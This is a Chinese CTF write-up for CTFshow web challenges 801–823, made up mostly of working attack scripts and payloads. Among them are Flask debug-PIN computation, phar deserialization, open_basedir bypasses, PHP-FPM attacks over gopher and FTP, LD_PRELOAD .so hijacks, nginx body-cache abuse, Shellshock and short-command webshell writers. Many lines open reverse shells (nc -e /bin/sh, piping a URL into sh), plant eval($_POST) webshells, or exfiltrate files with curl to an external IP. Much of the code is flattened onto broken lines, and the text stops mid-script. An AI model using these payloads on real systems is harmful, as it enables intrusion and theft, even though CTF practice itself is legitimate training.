【Web】CTFSHOW 常用姿势刷题记录(全)

目录

web801

web802

web803

web804

web805

web806

web807

法一:反弹shell

法二:vps外带

web808

web809

web810

web811

web812

web813

web814

web815

web816

web817

web818

web819

web820

web821

web822

web823

web824

web825

web826

web827

web828

web829

web830

web831


web801

flask算PIN,这篇文章有写:https://z3r4y.blog.csdn.net/article/details/134494238

初始界面:

访问/console,开启了debug模式

 /file?filename=suibian,随便传个值让flask报错,看到app路径为

/usr/local/lib/python3.8/site-packages/flask/app.py

/file?filename=/sys/class/net/eth0/address,读getNode得到uuid

 0242ac0c9f9c,十六进制再转十进制

2485377605532

/file?filename=/proc/sys/kernel/random/boot_id

225374fa-04bc-4346-9f39-48fa82829ca9 

/file?filename=/proc/self/cgroup 

 b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

二者拼接一下得到machine_id

225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d

用下面的脚本算pin

import hashlib
from itertools import chaindef getPIN(public_bits, private_bits):rv = Nonenum = Noneh = hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x: x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_nameif __name__ == "__main__":public_bits = ['root','flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py']private_bits = ['2485377605532','225374fa-04bc-4346-9f39-48fa82829ca9b411d864f4e593f4e388782956b10f2d5e11871e2ae5c13bc45e5e8cd18a766d']PIN = getPIN(public_bits, private_bits)print(PIN)

访问/console,输入pin值,拿到交互式console

直接代码执行就可

 web802

无字母数字命令执行,可以看看这篇文章:https://z3r4y.blog.csdn.net/article/details/134338909

只ban了字母数字,不要太友好

最方便的就是取反

<?phpfunction negateRce(){fwrite(STDOUT,'[+]your function: ');$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));fwrite(STDOUT,'[+]your command: ');$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}negateRce();

web803

phar文件包含

 没有文件上传点,只能强制文件上传了,发现会立刻删除,走条件竞争有点哈皮,题目里给了写文件的else分支,利用即可,先写恶意文件,再包含恶意文件。

<?php
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
import requests
url="http://ae901965-37ad-47cb-b923-7be4020cf94a.challenge.ctf.show/"file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
data={'file':'phar:///tmp/a.phar/a','content':'suibian','1':'system("cat f*");'}
requests.post(url,data=file)
r=requests.post(url,data=data)
print(r.text)

web804

phar反序列化,可以看看这两篇文章:

https://z3r4y.blog.csdn.net/article/details/134479335

【Web】Phar反序列化相关例题wp_newstarctf pharone-CSDN博客

 file_exists触发反序列化

<?php
class hacker{public $code;public function __destruct(){eval($this->code);}
}
$a=new hacker();
$a->code="system('cat f*');";$phar = new Phar("test.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();?><?php
import requests
url="http://5d5c1d43-55e2-45d0-877a-ef8da113932e.challenge.ctf.show/"file={'file':'/tmp/a.phar','content':open('test.phar','rb').read()}
data={'file':'phar:///tmp/a.phar','content':'suibian'}
requests.post(url,data=file)
r=requests.post(url,data=data)
print(r.text)

web805

open_basedir绕过 可以看看这篇文章:

从0学习bypass open_basedir姿势 - 先知社区

先看下函数禁用

1=phpinfo();

可以看到命令执行的函数都被ban了,那读文件可以用readfile函数

 payload:

1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
1=mkdir('sub');chdir('sub');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/ctfshowflag');

web806

php无参RCE,可以看这篇文章:https://xz.aliyun.com/t/9360

payload:

?code=eval(end(current(get_defined_vars())));&Z3r4y=system('cat /ctfshowflag');

web807

法一:反弹shell

推荐一个网站:https://your-shell.com/

傻瓜型反弹shell,我行你也行

payload:

?url=https://your-shell.com/124.222.136.33:1337 | sh

(先在自己vps开启1337端口监听)

贴出执行:

法二:vps外带

?url=https://;curl http://124.222.136.33:1338?flag=`cat /*`

注意一些特殊符号带不出来

web808

临时文件包含,做过临时文件包含的师傅都知道复现的难度有多大,所以建议直接session文件包含

 用下面脚本打就可

import requests
import threadingsession = requests.session()sess = "ctfshow"file_name = "/var/www/html/1.php"
file_content = '<?php eval($_POST[1]);?>'url = "http://3fd00eb3-48d8-4a13-99e6-4dcced70454f.challenge.ctf.show/"data = {"PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'success!'; file_put_contents('{file_name}','{file_content}');?>"
}file = {'file': 'ctfshow'
}cookies = {'PHPSESSID': sess
}def write():while True:r = session.post(url=url, data=data, files=file, cookies=cookies)def read():while True:r = session.post(url=url + "?file=/tmp/sess_ctfshow")if "success" in r.text:print("shell 地址为:" + url + "1.php")exit()if __name__ == "__main__":event = threading.Event()with requests.session() as session:for i in range(1, 30):threading.Thread(target=write).start()for i in range(1, 30):threading.Thread(target=read).start()event.set()

web809

pear文件包含/RCE

都用bp发包

可以在/tmp目录下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

因为tmp是根目录下的,只能配合文件包含来利用

?file=/tmp/test.phpcmd=system('cat+/f*');

 也可以直接在/var/www/html下写文件

?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/var/www/html/test.php

然后直接访问/test.php即可,方便一点

web810

SSRF打PHP-FPM,就是SSRF打中间件的套路

PHP-FPM 是基于 FastCGI 协议的 PHP 进程管理器

相关知识可以看这篇文章:

https://xz.aliyun.com/t/9544

直接gopherus乱打

_后内容再url编码一次

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520%2F%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP%2F1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A%2F%2Finput%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT%2F%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520%2Ff%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

web811

file_put_contents打PHP-FPM,可以看看这篇文章:PHP-FPM攻击详解 - 跳跳糖

这题没有写文件的权限,可以考虑ftp打php-fpm

按部就班复现就行,但好像不能反弹shell,可以考虑信息外带

 起个恶意ftp服务器,把恶意数据流转发到127.0.0.1:9000

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(('0.0.0.0',1338)) #端口可改
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9000)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

最终payload:

?file=ftp://124.222.136.33:1338/test&content=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00a%04%00%3C%3Fphp%20system%28%27curl%20http%3A//124.222.136.33%3A1337%3Fflag%3D%60cat%20/%2A%60%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

web812

PHP-FPM未授权

脚本:

import socket
import random
import argparse
import sys
from io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):if PY2:return force_bytes(chr(i))else:return bytes([i])def bord(c):if isinstance(c, int):return celse:return ord(c)def force_bytes(s):if isinstance(s, bytes):return selse:return s.encode('utf-8', 'strict')def force_text(s):if issubclass(type(s), str):return sif isinstance(s, bytes):s = str(s, 'utf-8', 'strict')else:s = str(s)return sclass FastCGIClient:"""A Fast-CGI Client for Python"""# private__FCGI_VERSION = 1__FCGI_ROLE_RESPONDER = 1__FCGI_ROLE_AUTHORIZER = 2__FCGI_ROLE_FILTER = 3__FCGI_TYPE_BEGIN = 1__FCGI_TYPE_ABORT = 2__FCGI_TYPE_END = 3__FCGI_TYPE_PARAMS = 4__FCGI_TYPE_STDIN = 5__FCGI_TYPE_STDOUT = 6__FCGI_TYPE_STDERR = 7__FCGI_TYPE_DATA = 8__FCGI_TYPE_GETVALUES = 9__FCGI_TYPE_GETVALUES_RESULT = 10__FCGI_TYPE_UNKOWNTYPE = 11__FCGI_HEADER_SIZE = 8# request stateFCGI_STATE_SEND = 1FCGI_STATE_ERROR = 2FCGI_STATE_SUCCESS = 3def __init__(self, host, port, timeout, keepalive):self.host = hostself.port = portself.timeout = timeoutif keepalive:self.keepalive = 1else:self.keepalive = 0self.sock = Noneself.requests = dict()def __connect(self):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(self.timeout)self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)# if self.keepalive:#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)# else:#     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)try:self.sock.connect((self.host, int(self.port)))except socket.error as msg:self.sock.close()self.sock = Noneprint(repr(msg))return Falsereturn Truedef __encodeFastCGIRecord(self, fcgi_type, content, requestid):length = len(content)buf = bchr(FastCGIClient.__FCGI_VERSION) \+ bchr(fcgi_type) \+ bchr((requestid >> 8) & 0xFF) \+ bchr(requestid & 0xFF) \+ bchr((length >> 8) & 0xFF) \+ bchr(length & 0xFF) \+ bchr(0) \+ bchr(0) \+ contentreturn bufdef __encodeNameValueParams(self, name, value):nLen = len(name)vLen = len(value)record = b''if nLen < 128:record += bchr(nLen)else:record += bchr((nLen >> 24) | 0x80) \+ bchr((nLen >> 16) & 0xFF) \+ bchr((nLen >> 8) & 0xFF) \+ bchr(nLen & 0xFF)if vLen < 128:record += bchr(vLen)else:record += bchr((vLen >> 24) | 0x80) \+ bchr((vLen >> 16) & 0xFF) \+ bchr((vLen >> 8) & 0xFF) \+ bchr(vLen & 0xFF)return record + name + valuedef __decodeFastCGIHeader(self, stream):header = dict()header['version'] = bord(stream[0])header['type'] = bord(stream[1])header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])header['paddingLength'] = bord(stream[6])header['reserved'] = bord(stream[7])return headerdef __decodeFastCGIRecord(self, buffer):header = buffer.read(int(self.__FCGI_HEADER_SIZE))if not header:return Falseelse:record = self.__decodeFastCGIHeader(header)record['content'] = b''if 'contentLength' in record.keys():contentLength = int(record['contentLength'])record['content'] += buffer.read(contentLength)if 'paddingLength' in record.keys():skiped = buffer.read(int(record['paddingLength']))return recorddef request(self, nameValuePairs={}, post=''):if not self.__connect():print('connect failure! please check your fasctcgi-server !!')returnrequestId = random.randint(1, (1 << 16) - 1)self.requests[requestId] = dict()request = b""beginFCGIRecordContent = bchr(0) \+ bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \+ bchr(self.keepalive) \+ bchr(0) * 5request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,beginFCGIRecordContent, requestId)paramsRecord = b''if nameValuePairs:for (name, value) in nameValuePairs.items():name = force_bytes(name)value = force_bytes(value)paramsRecord += self.__encodeNameValueParams(name, value)if paramsRecord:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)if post:request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)self.sock.send(request)self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SENDself.requests[requestId]['response'] = b''return self.__waitForResponse(requestId)def __waitForResponse(self, requestId):data = b''while True:buf = self.sock.recv(512)if not len(buf):breakdata += bufdata = BytesIO(data)while True:response = self.__decodeFastCGIRecord(data)if not response:breakif response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:self.requests['state'] = FastCGIClient.FCGI_STATE_ERRORif requestId == int(response['requestId']):self.requests[requestId]['response'] += response['content']if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:self.requests[requestId]return self.requests[requestId]['response']def __repr__(self):return "fastcgi connect host:{} port:{}".format(self.host, self.port)if __name__ == '__main__':parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')parser.add_argument('host', help='Target host, such as 127.0.0.1')parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php system("cat /flagfile"); exit; ?>')parser.add_argument('-p', '--port', help='FastCGI port', default=28074, type=int)args = parser.parse_args()client = FastCGIClient(args.host, args.port, 3, 0)params = dict()documentRoot = "/"uri = args.filecontent = args.codeparams = {'GATEWAY_INTERFACE': 'FastCGI/1.0','REQUEST_METHOD': 'POST','SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),'SCRIPT_NAME': uri,'QUERY_STRING': '','REQUEST_URI': uri,'DOCUMENT_ROOT': documentRoot,'SERVER_SOFTWARE': 'php/fcgiclient','REMOTE_ADDR': '127.0.0.1','REMOTE_PORT': '9985','SERVER_ADDR': '127.0.0.1','SERVER_PORT': '80','SERVER_NAME': "localhost",'SERVER_PROTOCOL': 'HTTP/1.1','CONTENT_TYPE': 'application/text','CONTENT_LENGTH': "%d" % len(content),'PHP_VALUE': 'auto_prepend_file = php://input','PHP_ADMIN_VALUE': 'allow_url_include = On'}response = client.request(params, content)print(force_text(response))

最终payload:

python ftpexp.py -c "<?php system('cat /f*');?>" -p 28160 pwn.challenge.ctf.show /usr/local/lib/php/System.php

web813

劫持mysqli

利用条件:

1.拓展目录明确且可写

2.能够载入我们的恶意so文件(重启php-fpm或能使用php命令行)

3.有调用我们自定义函数的代码

通过将常用的函数、类和数据打包成.so 文件,不同的程序可以共享这些代码,避免重复编写和维护相同的代码逻辑,提高了代码的重用性。

php -r 是 PHP 命令行工具的一个参数,用于在命令行中直接执行 PHP 代码而不需要编写独立的 PHP 脚本文件。通过 php -r 参数,可以方便快捷地在命令行中执行一行简单的 PHP 代码。

使用格式为:php -r 'php code here'

注册函数找不到就去拓展目录找so文件,调用ctfshow函数的时候就会去so文件里面找,这题就是mysqli.so了,而mysqli.so已经被我们所覆写,从而执行恶意代码

(关于为啥要用命令行,因为命令行就是每次将拓展载入,使用,销毁)

我们接下来的工作只要劫持(改写)被调用的so文件即可,这一题就是mysqli.so

phpinfo看一眼路径

我用的php源码是7.3.22的,用其自带的ext_skel.php来生成so文件

具体流程如下:

php ext_skel.php --ext ctfshow --std
cd ctfshow
修改ctfshow.c的源码
phpize
./configure
make && make install

贴出ctfshow.c(注意这里的system是c语言的system,而非php的system,哪怕system被disable_function禁用了也不受影响)

#ifdef HAVE_CONFIG_H
# include "config.h"
#endif#include "php.h"
#include "ext/standard/info.h"
#include "php_ctfshow.h"/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \ZEND_PARSE_PARAMETERS_START(0, 0) \ZEND_PARSE_PARAMETERS_END()
#endif/* {{{ void ctfshow_test1()*/
PHP_FUNCTION(ctfshow)
{ZEND_PARSE_PARAMETERS_NONE();system("curl 124.222.136.33:1337?flag=`cat /f*`");
}
/* }}} *//* {{{ string ctfshow_test2( [ string $var ] )*/
PHP_FUNCTION(ctfshow_test2)
{char *var = "World";size_t var_len = sizeof("World") - 1;zend_string *retval;ZEND_PARSE_PARAMETERS_START(0, 1)Z_PARAM_OPTIONALZ_PARAM_STRING(var, var_len)ZEND_PARSE_PARAMETERS_END();retval = strpprintf(0, "Hello %s", var);RETURN_STR(retval);
}
/* }}}*//* {{{ PHP_RINIT_FUNCTION*/
PHP_RINIT_FUNCTION(ctfshow)
{
#if defined(ZTS) && defined(COMPILE_DL_CTFSHOW)ZEND_TSRMLS_CACHE_UPDATE();
#endifreturn SUCCESS;
}
/* }}} *//* {{{ PHP_MINFO_FUNCTION*/
PHP_MINFO_FUNCTION(ctfshow)
{php_info_print_table_start();php_info_print_table_header(2, "ctfshow support", "enabled");php_info_print_table_end();
}
/* }}} *//* {{{ arginfo*/
ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test1, 0)
ZEND_END_ARG_INFO()ZEND_BEGIN_ARG_INFO(arginfo_ctfshow_test2, 0)ZEND_ARG_INFO(0, str)
ZEND_END_ARG_INFO()
/* }}} *//* {{{ ctfshow_functions[]*/
static const zend_function_entry ctfshow_functions[] = {PHP_FE(ctfshow,		arginfo_ctfshow_test1)PHP_FE(ctfshow_test2,		arginfo_ctfshow_test2)PHP_FE_END
};
/* }}} *//* {{{ ctfshow_module_entry*/
zend_module_entry ctfshow_module_entry = {STANDARD_MODULE_HEADER,"ctfshow",					/* Extension name */ctfshow_functions,			/* zend_function_entry */NULL,							/* PHP_MINIT - Module initialization */NULL,							/* PHP_MSHUTDOWN - Module shutdown */PHP_RINIT(ctfshow),			/* PHP_RINIT - Request initialization */NULL,							/* PHP_RSHUTDOWN - Request shutdown */PHP_MINFO(ctfshow),			/* PHP_MINFO - Module info */PHP_CTFSHOW_VERSION,		/* Version */STANDARD_MODULE_PROPERTIES
};
/* }}} */#ifdef COMPILE_DL_CTFSHOW
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(ctfshow)
#endif/** Local variables:* tab-width: 4* c-basic-offset: 4* End:*/

要把二进制文件流写入靶机mysqli.so文件中,写脚本即可

import requests
url="http://7f163334-7227-417a-b019-05dd12755970.challenge.ctf.show/"
data={'file':'/usr/local/lib/php/extensions/no-debug-non-zts-20180731/mysqli.so','content':open('ctfshow.so','rb').read()}
r1 = requests.post(url+'?a=write',data=data)
print(r1.content)
r2 = requests.get(url+'?a=run')
print(r2.content)

监听,外带

web814

劫持getuid 

利用条件:

1.有文件写入点 2.可执行putenv命令 3.执行了可以生成新进程的函数

php中可以产生新进程的函数:

1.命令执行类:system shell_exec exec passthru

2.进程类:proc_open popen pcntl

3.外部程序调用类:mail imap_mail

4.拓展缺陷类:imagick      

 关于LD_PRELOAD:LD_PRELOAD 是一个用于动态链接器的环境变量,它可以指定一个共享库(通常是一个预加载库),在程序启动时优先加载该库,覆盖系统默认的同名函数。LD_PRELOAD 的作用主要是用来干预程序的动态链接过程,通过提供自定义的共享库,可以重定义或增强程序中的特定函数的行为。

关于getuid:在php中,如果要启动一个新的进程,那么这个进程会调用getuid函数,如果通过环境变量LD_PRELOAD指定恶意的so文件,那么只要新建进程,就会执行我们的恶意代码。这里的system就起到了新建进程的作用。

web814.c

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){system("curl http://124.222.136.33:1337?flag=`cat /f*`");
}
int getuid()
{if(getenv("LD_PRELOAD")==NULL){ return 0;}unsetenv("LD_PRELOAD");payload();
}

依次执行,生成恶意so文件

gcc -c -fPIC web814.c -o exp
gcc --share exp -o exp.so

写脚本(添加LD_PRELOAD加载恶意so文件覆写getuid)

import requests
url="http://1bf3813f-c8e6-4e42-9732-07e5b46c496e.challenge.ctf.show/"
data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听,外带

web815

劫持构造器

在 C 语言中,attribute((constructor)) 是一种扩展修饰符,用于指定一个函数作为在程序启动时自动执行的构造函数。当使用了这个修饰符之后,这个函数会在程序运行之前被自动调用,用于执行一些初始化操作。

使用 attribute((constructor)) 修饰的函数会在 main 函数执行之前被调用,并且可以有多个这样的构造函数,它们的调用顺序取决于编译器和链接器的实现。

也就是说只要启动新进程,就会统一调用这个恶意构造函数,比web814更通用,原理基本一致。

这里mail()起到了新建进程的作用,直接打LD_PRELOAD

web815.c

#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;__attribute__ ((__constructor__)) void hack(void)
{
unsetenv("LD_PRELOAD");
system("curl http://124.222.136.33:1337?flag=`cat /f*`");
}

 生成恶意so文件

gcc -c -fPIC web815.c -o exp&&gcc --share exp -o exp.so

拿脚本打

import requests
url="http://9049c4b6-7b93-431d-a82b-907f48363ee1.challenge.ctf.show/"
data={'file':'/tmp/exp.so','content':open('exp.so','rb').read()}
requests.post(url+'?a=write',data=data)
requests.get(url+'?a=run&env=LD_PRELOAD=/tmp/exp.so')

监听,外带

 

web816

临时文件利用

so文件拓展是system新建进程触发的,原理和上题一样,但用的是临时文件上传的方式写文件(这题/tmp目录有写文件的权限,所以不需要条件竞争)

关于这里为啥是[2]?因为如果tmp目录为空,第一个是.目录,第二个是..目录,第三个元素就是我们上传的临时文件名

用的还是web815的so文件

import requests
url="http://d232d316-e893-4ab6-8525-726550153e15.challenge.ctf.show/?env=LD_PRELOAD=/tmp/"
file={'file':open('exp.so','rb').read()}
res=requests.post(url,files=file)

监听,外带

web817

题目源码

$file = $_GET['file'];
if(isset($file) && preg_match("/^\/(\w+\/?)+$/", $file)){shell_exec(shell_exec("cat $file"));}

正则意思是匹配以斜杠开头,后跟一个或多个字母数字字符和斜杠的字符串

然后无回显执行一个文件的内容

这题考的是nginx的body缓存机制,恶意so文件如果字节数小于16K,我们可以手工膨胀到16K以上,在恶意so文件加入无关字节,有可能将我们的恶意so文件通过缓存文件形式暂时保留。
在上传文件被删除后,还继续进行了修改和访问,可以通过访问/proc/pid/fd/xxx访问被删除的文件
可以一边post传数据,一边读fd下文件

可以参考这篇文章:LFI to RCE – AndyNoel's Blog

默认php的执行用户名为www-data

脚本:

import threading
import socket
import re
port= 28121
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)con="curl http://124.222.136.33:1337?`cat /f*`;"+'0'*1024*500
l = len(con)
def upload():while True:s=socket.socket()s.connect(('pwn.challenge.ctf.show',port))x=f'''POST / HTTP/1.1
Host: 127.0.0.1
Content-Length: {l}
Content-Type: application/x-www-form-urlencoded
Connection: close{con}'''.encode()s.send(x)s.close()def bruter():while True:for fd in range(3,40):print(fd)s=socket.socket()s.connect(('pwn.challenge.ctf.show',port))s.send(f'''GET /?file=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
Connection: close'''.encode())print(s.recv(2048).decode())s.close()for i in range(30):t = threading.Thread(target=upload)t.start()
for j in range(30):a = threading.Thread(target=bruter)a.start()

监听,外带

web818

题目代码


$env = $_GET['env'];
if(isset($env)){putenv($env);system("echo ctfshow");
}else{system("ps aux");
}
···

这题考的是利用nginx的body缓存配合LD_PRELOAD实现恶意so文件的代码执行,用的还是web815的so文件

脚本

import  threading
import socket
import re
port= 28151
s=socket.socket()
s.connect(('pwn.challenge.ctf.show',port))
s.send(f'''GET / HTTP/1.1
Host:127.0.0.1'''.encode())
data=s.recv(1024).decode()
s.close()
pid = re.findall('(.*?) www-data',data)[0].strip()
print(pid)
l=str(len(open('exp.so','rb').read()+b'\n'*1024*200)).encode()
def upload():while True:s=socket.socket()s.connect(('pwn.challenge.ctf.show',port))x=b'''POST / HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Content-Length: '''+l+b'''
Content-Type: application/x-www-form-urlencoded
Connection: close'''+open('exp.so','rb').read()+b'\n'*1024*200+b''''''s.send(x)s.close()def bruter():while True:for fd in range(3,40):print(fd)s=socket.socket()s.connect(('pwn.challenge.ctf.show',port))s.send(f'''GET /?env=LD_PRELOAD=/proc/{pid}/fd/{fd} HTTP/1.1
Host: 127.0.0.1
User-Agent: yu22x
Connection: close'''.encode())print(s.recv(2048).decode())s.close()for i in range(30):t = threading.Thread(target=upload)t.start()
for j in range(30):a = threading.Thread(target=bruter)a.start()

监听,外带

web819

破壳漏洞介绍:
想办法bash的匿名函数环境变量
bash在设计上可以通过环境变量来初始化一个匿名函数,并给其命名,函数体必须(){开头,函数名BASH_FUNC_开头,并以%%结尾
我们只需要控制生成一个能够还原为函数的环境变量格式,就能在system底层调用bash后,通过环境变量注册一个函数。即我们可以控制任意函数(覆写),只要有调用这个函数的地方,就可以任意代码执行

但靶机sh环境必须要是bash才能利用,如ubuntu的dsh,alpine的ash均不能用这种姿势

payload:

?env=BASH_FUNC_whoami%%=() { cat /f*;}

web820

这题,无图言屌,懂的都懂

web821

7字符可写(web目录可写)

参考文章:

https://blog.51cto.com/u_15080020/4328045

脚本

import requests
import timeurl = "http://ff2d125b-85e0-4c9a-a5bb-ac6ff03890f5.challenge.ctf.show/"payload = [">hp",">1.p\\",">d\\>\\",">\\ -\\",">e64\\",">bas\\",">7\\|\\",">XSk\\",">Fsx\\",">dFV\\",">kX0\\",">bCg\\",">XZh\\",">AgZ\\",">waH\\",">PD9\\",">o\\ \\",">ech\\","ls -t>0",". 0"
]def writeFile(payload):data = {"cmd": payload}requests.post(url, data=data)def run():for p in payload:writeFile(p.strip())print("[*] create " + p.strip())time.sleep(1)def check():response = requests.get(url + "1.php")if response.status_code == requests.codes.ok:print("[*] Attack success!!!Webshell is " + url + "1.php")def main():run()check()if __name__ == '__main__':main()

用/1.php?1=eval($_POST[1]);转接post连蚁剑(最好用linux的)

连接成功后右键数据操作,弱口令root连数据库

随便翻一翻找到flag

web822

7字符不可写(web目录不可写)

怎么缩也不可能7字以内外带的吧,只能思考是不是执行临时文件之类的

脚本:

import requests
url="http://b5c4ec71-c6bd-4e47-97a9-404d5de7cc69.challenge.ctf.show/"
file={'file':'nc  124.222.136.33 1337 -e /bin/sh'}
r= requests.post(url,files=file,data={'cmd':'. /t*/*'})

这里主要是用.+文件名执行命令支持通配符,可以大大缩短长度

web823

5字符可写,有dir命令

思路就是:

将index.php变成.php
将临时文件打包到当前目录
使用php执行tar压缩包(虽然前面有tar的字节,但是php代码的明文保存了下来,方便php直接执行)

脚本:

import requests
import timeurl = "http://6c59c312-ca0d-488a-9e79-b26653603274.challenge.ctf.show/"
url_2 = url+".php"
delay = 1chagneFile_payload=[
'>cp',
'>k',
'*',
'rm cp',
'>pc',
'>dir',
'*>v',
'>rev',
'*v>z',
'rm v',
'rm k',
'rm z',
'rm pc',
'rm *v',
'>php.',
'>j\\#',
'>vm',
'*>v',
'>rev',
'*v>z',
'sh z'
]clearFile_payload=[
'rm d*',
'rm j*',
'rm p*',
'rm r*',
'rm v*',
'rm z'
]shell_payload=[
'>tar',
'>vcf',
'>z'
]file={'file':b'<?php file_put_contents("1.php","<?php eval(\\$_POST[1]);?>");?>'
